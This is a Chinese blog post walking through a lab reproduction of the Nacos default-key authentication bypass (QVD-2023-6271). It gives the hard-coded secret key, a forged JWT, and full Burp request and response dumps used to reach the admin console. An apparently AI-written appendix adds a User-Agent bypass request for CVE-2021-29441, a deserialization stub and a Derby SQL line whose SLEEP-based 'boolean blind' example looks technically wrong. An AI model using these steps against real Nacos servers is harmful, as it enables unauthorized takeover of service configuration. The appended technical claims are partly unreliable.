Nacos身份绕过漏洞(QVD-2023-6271)复现学习

文章介绍了Nacos的一个身份认证绕过漏洞,该漏洞因默认密钥未修改导致。通过详细步骤展示了如何搭建漏洞环境,利用JWT构造工具生成有效令牌,从而绕过认证进入后台。同时,文章强调该信息仅用于教育目的,禁止非法使用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

更新时间:2023年03月15日20:32:24
image.png

绝对禁止用于非法渗透测试活动!!!

1. 漏洞介绍

本文仅做复现,不做分析!
其实就是默认key的问题,比如:shiro550exchange CVE-2020-0688jwt伪造等,都是类似的问题。

参考文档:
https://www.cnblogs.com/max-home/p/16795886.html
https://okaytc.github.io/posts/ad3be142.html

Nacos是一个易于使用的平台,专为动态服务发现和配置以及服务管理而设计。可以帮助您轻松构建云原生应用程序和微服务平台。
目前Nacos 身份认证绕过漏洞(QVD-2023-6271),开源服务管理平台Nacos在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。
参考:https://mp.weixin.qq.com/s/5lE_9I6-r1CE8CYtUZG1rQ
漏洞影响范围:
0.1.0 <= Nacos <= 2.2.0基本上都受到了影响,最新的版本已修复漏洞。

2. 环境搭建

2.1 漏洞版本下载

首先从GitHub下载带有漏洞的源码:

https://github.com/alibaba/nacos/releases

在这里最新版本已经修复了相关的漏洞,所以在这里需要使用其它的版本来进行复现:

image.png

可以选择这个:
image.png
下载到本地之后,在有java8以上的环境下进行快速部署。

2.2 漏洞部署

部署环境:Windows10 + java8 ip地址:10.211.55.5
在这里按照教程,解压之后,在bin目录下使用cmd使用命令startup.cmd -m standalone来启动,但是在这里启动会遇到问题:

image.png

Please set the JAVA_HOME variable in your environment, We need java(x64)! jdk8 or later is better!

但是我们本地是有java的环境的:
image.png

这个原因并不是我们的java版本错误,而是需要修改一下在bat文件中的java路径,打开startup.cmd
找到jdk的路径:C:\java\jdk
image.png
在这里补充你的javajdk的位置,不要到bin,它会自动拼接,jdk的位置:

image.png

set JAVA_HOME="C:\java\jdk"

在这里一定要注意set JAVA_HOME="C:\java\jdk\"jdk后面这里不要加\,不然就会报错!!!

image.png

然后再使用命令就起来了:
image.png

此时访问10.211.55.5:8848,就可以看到nacos启动了:

image.png

拼接路径nacos到路径:
http://10.211.55.5:8848/nacos/#/login

image.png

到此,漏洞环境准备完成。

3. 漏洞复现

nacos中,token.secret.key值是固定死的,位置在conf下的application.properties中:

image.png

nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

3.1 获取token

利用该默认key可进行jwt构造,直接进入后台,构造方法:
https://jwt.io/中:输入默认key:

SecretKey012345678901234567890123456789012345678901234567890123456789

然后再payload里面输入:

{
  "sub": "nacos",
  "exp": 1678899909
}

在这里注意:1678899909这个值是unix时间戳,换算一下,要比你系统当前的时间更晚,比如当前的时间是2023年03月15日22:11:09,在这里面的时间戳时间是3月16号了:

image.png

image.png

复制上面得到的值,在burp里面选择登录之后构造:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s

image.png

方框里面需要自行添加:

POST /nacos/v1/auth/users/login HTTP/1.1
Host: 10.211.55.5:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://10.211.55.5:8848
Connection: close
Referer: http://10.211.55.5:8848/nacos/index.html
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s

username=crowsec&password=crowsec

此时就得到了token信息:

HTTP/1.1 200 
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Security-Policy: script-src 'self'
Set-Cookie: JSESSIONID=D90CF6E5B233685E4A39C1B1BDA9F185; Path=/nacos; HttpOnly
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s
Content-Type: application/json
Date: Wed, 15 Mar 2023 14:13:22 GMT
Connection: close
Content-Length: 197

{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}

此时就得到了nacostoken信息。

3.2 利用获取token登录后台

如何登录呢,在这里需要用假账号登录之后,再修改返回包就行了,试试看:
先用假账号登录,用burp拦截:
image.png

这肯定进不去的,在这里修改返回包,右键看下这个:

image.png

然后Forward,这边返回的信息肯定是无效的:

image.png

在这里使用刚刚burp里面生成的返回包进行替换,全部复制过去:

image.png

forward一次:
image.png

此时就已经进去了:

image.png

### Nacos漏洞复现的方法与过程 #### 高危漏洞QVD-2023-6271 (Nacos身份绕过漏洞)漏洞存在于低版本的Nacos中(<=2.2.0),其核心问题是默认的`scertkey`未被更改时,攻击者能够通过该密钥生成有效的`accesstoken`,从而实现身份绕过。以下是具体的复现步骤: - **环境准备**: 使用目标版本的Nacos服务并保持默认配置不变。 - **获取Token**: 攻击者可以通过已知的默认`scertkey`计算出合法的`accesstoken`[^1]。 - **验证Token有效性**: 将生成的`accesstoken`用于后续API调用,确认是否成功绕过身份验证。 ```bash curl -X POST \ -H "Content-Type: application/x-www-form-urlencoded" \ -d 'username=admin&password=nacos' \ "http://<target>:8848/nacos/v1/auth/login" ``` 上述脚本展示了如何模拟登录请求以测试生成的令牌是否有效。 #### 权限绕过漏洞 ##### 默认配置未授权访问漏洞 —— `nacos.core.auth.enabled=false` 如果Nacos服务器设置了`nacos.core.auth.enabled=false`,那么整个系统可能处于完全开放状态,允许任何人无需认证即可操作管理接口。这种情况下,只需简单地发送HTTP请求到敏感端点就能完成数据读取或修改行为[^2]。 ##### User-Agent绕过鉴权 (CVE-2021-29441) 对于某些特定版本(<1.4.1),即使启用了身份验证机制(`nacos.core.auth.enabled=true`) ,只要客户端发出带有特殊User-Agent头("Nacos-Server") 的请求,则不会触发正常的认证流程[^3] 。因此,在实际渗透过程中可尝试伪造相应的UA字段来规避安全检测逻辑: ```http GET /nacos/v1/cs/configs?dataId=test&group=defaultGroup HTTP/1.1 Host: target_host:port User-Agent: Nacos-Server Connection: close ``` 以上示例说明了如何构造恶意网络流量以便于非法获取受保护资源的信息内容 。 --- #### Jraft Hessian反序列化漏洞(CNVD-2023-45001) 由于内部组件Jraft采用了Hessian协议处理通信消息,而后者可能存在危险函数调用风险,所以一旦输入未经严格校验的数据包就可能导致远程代码执行后果严重危害极大。要重现这一现象通常需要精心设计payload并通过指定路径提交给受害主机解析运行: ```java // 构造含有恶意负载的对象实例 ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(payload)); ois.readObject(); ``` 注意这里仅作为理论分析用途,请勿随意实施此类行动以免触犯法律条款规定! --- #### Derby SQL注入漏洞(CNVD-2020-67618) 当数据库采用Apache Derby嵌入模式存储元信息表项时,部分查询语句未能正确过滤参数值中的SQL关键字成分,进而形成潜在威胁隐患。比如下面这个例子演示了一个典型的基于布尔盲猜法的技术手段探测隐藏列名的过程: ```sql SELECT * FROM SYSTEM.SYSTABLES WHERE TABLENAME='TEST_TABLE' AND SLEEP(5)=true; ``` --- #### 总结 每种类型的缺陷都有各自独特的表现形式和技术特点,研究它们有助于加深理解软件开发周期内的安全性考量因素以及提升防御措施的有效性水平。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值